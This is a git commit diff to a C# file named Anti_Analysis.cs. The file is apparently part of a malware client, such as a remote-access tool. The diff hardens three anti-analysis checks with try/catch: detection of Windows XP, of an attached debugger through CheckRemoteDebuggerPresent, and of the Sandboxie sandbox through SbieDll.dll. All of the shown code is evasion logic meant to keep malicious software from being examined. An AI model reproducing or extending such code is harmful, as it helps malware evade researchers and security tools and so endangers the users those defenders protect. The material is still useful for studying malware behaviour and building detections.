Update Anti_Analysis.cs

This commit is contained in:
NYAN CAT 2019-09-16 13:47:45 +03:00
parent 2b248abf05
commit a85365a836

View File

@ -42,10 +42,14 @@ namespace Client.Helper
private static bool IsXP() private static bool IsXP()
{ {
if (new Microsoft.VisualBasic.Devices.ComputerInfo().OSFullName.ToLower().Contains("xp")) try
{ {
return true; if (new Microsoft.VisualBasic.Devices.ComputerInfo().OSFullName.ToLower().Contains("xp"))
{
return true;
}
} }
catch { }
return false; return false;
} }
@ -77,16 +81,30 @@ namespace Client.Helper
private static bool DetectDebugger() private static bool DetectDebugger()
{ {
bool isDebuggerPresent = false; bool isDebuggerPresent = false;
CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref isDebuggerPresent); try
return isDebuggerPresent; {
CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref isDebuggerPresent);
return isDebuggerPresent;
}
catch
{
return isDebuggerPresent;
}
} }
private static bool DetectSandboxie() private static bool DetectSandboxie()
{ {
if (GetModuleHandle("SbieDll.dll").ToInt32() != 0) try
return true; {
else if (GetModuleHandle("SbieDll.dll").ToInt32() != 0)
return true;
else
return false;
}
catch
{
return false; return false;
}
} }